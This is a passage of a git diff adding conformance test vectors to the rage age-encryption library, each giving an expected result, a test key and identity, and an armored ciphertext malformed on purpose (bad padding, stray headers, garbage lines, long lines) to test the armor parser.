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 +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_garbage_leading b/lib/rage/age/tests/testdata/testkit/armor_garbage_leading new file mode 100644 index 0000000..f65c11a --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_garbage_leading @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +garbage +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_garbage_trailing b/lib/rage/age/tests/testdata/testkit/armor_garbage_trailing new file mode 100644 index 0000000..67715ac --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_garbage_trailing @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- +garbage diff --git a/lib/rage/age/tests/testdata/testkit/armor_header_crlf b/lib/rage/age/tests/testdata/testkit/armor_header_crlf new file mode 100644 index 0000000..ce52d31 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_header_crlf @@ -0,0 +1,13 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +armored: yes +comment: lines in the header end with CRLF instead of LF + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxDQotPiBYMjU1MTkgVEVpRjB5cHFyK2JwdmNx +WE55Q1ZKcEw3T3V3UGRWd1BMN0tRRWJGRE9DYw0KaGphYkdYd1NMUTljM1M2THcy +aStTMlR1MmZpd1FISHNsYkJONkI0MUZMRQ0KLS0tIDJLSUdiN3llMzJNV3RVdUVW +V2tPM01QNnFDREx6T3ZUOXdGMDZsZWxCU0kNCu7PYsfOkbQzJ05o1PL5E0y3TFv+ +976qUsjwvA6ZLB6DMftm +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_headers b/lib/rage/age/tests/testdata/testkit/armor_headers new file mode 100644 index 0000000..3ca00d2 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_headers @@ -0,0 +1,15 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +Headers: are +Not: allowed + +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_invalid_character_header b/lib/rage/age/tests/testdata/testkit/armor_invalid_character_header new file mode 100644 index 0000000..599d1cd --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_invalid_character_header @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdl*WVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_invalid_character_payload b/lib/rage/age/tests/testdata/testkit/armor_invalid_character_payload new file mode 100644 index 0000000..634b922 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_invalid_character_payload @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +*PC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_long_line b/lib/rage/age/tests/testdata/testkit/armor_long_line new file mode 100644 index 0000000..7bafc0e --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_long_line @@ -0,0 +1,8 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FYTnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lWK0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkzZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpSyPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_lowercase b/lib/rage/age/tests/testdata/testkit/armor_lowercase new file mode 100644 index 0000000..3ab173d --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_lowercase @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN age ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END age ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_no_end_line b/lib/rage/age/tests/testdata/testkit/armor_no_end_line new file mode 100644 index 0000000..d4a2bce --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_no_end_line @@ -0,0 +1,11 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= diff --git a/lib/rage/age/tests/testdata/testkit/armor_no_eol b/lib/rage/age/tests/testdata/testkit/armor_no_eol new file mode 100644 index 0000000..49630cb --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_no_eol @@ -0,0 +1,14 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes +comment: there is no end of line at the end of the file + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/armor_no_match b/lib/rage/age/tests/testdata/testkit/armor_no_match new file mode 100644 index 0000000..f694a45 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_no_match @@ -0,0 +1,12 @@ +expect: no match +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-143WN7DCXU4G8R5AXQSSYD9AEPYDNT3HXSLWSPK36CDU6E8M59SSSAGZ3KG +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBhanRxQXZERWtWTnIyQjd6 +VU90cTJtQVFYRFNCbE5yVkF1TS9kS2I1c1Q0CkhVS3R6MFIyajVCbDJFUjdIaEFa +clVSaWtDRnBpSWpOYTBLakhjamJBR1UKLS0tIHJycFRsdktFS3JLM0VxaG9PUEpl +UDFLRThPMWQyYXJyUmV6Nzdtd2VrUmMK3d9y0G+8q1ffPQ0xJJatIYzX/W+AeLv4 +gS3YeUcVXre9Xog= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_no_padding b/lib/rage/age/tests/testdata/testkit/armor_no_padding new file mode 100644 index 0000000..737ed67 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_no_padding @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes +comment: missing base64 padding + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_not_canonical b/lib/rage/age/tests/testdata/testkit/armor_not_canonical new file mode 100644 index 0000000..a6c6f56 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_not_canonical @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes +comment: base64 is not canonical + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Z= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_pgp_checksum b/lib/rage/age/tests/testdata/testkit/armor_pgp_checksum new file mode 100644 index 0000000..c245ba2 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_pgp_checksum @@ -0,0 +1,14 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- + +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +=J2ub +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_short_line b/lib/rage/age/tests/testdata/testkit/armor_short_line new file mode 100644 index 0000000..a92d523 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_short_line @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: 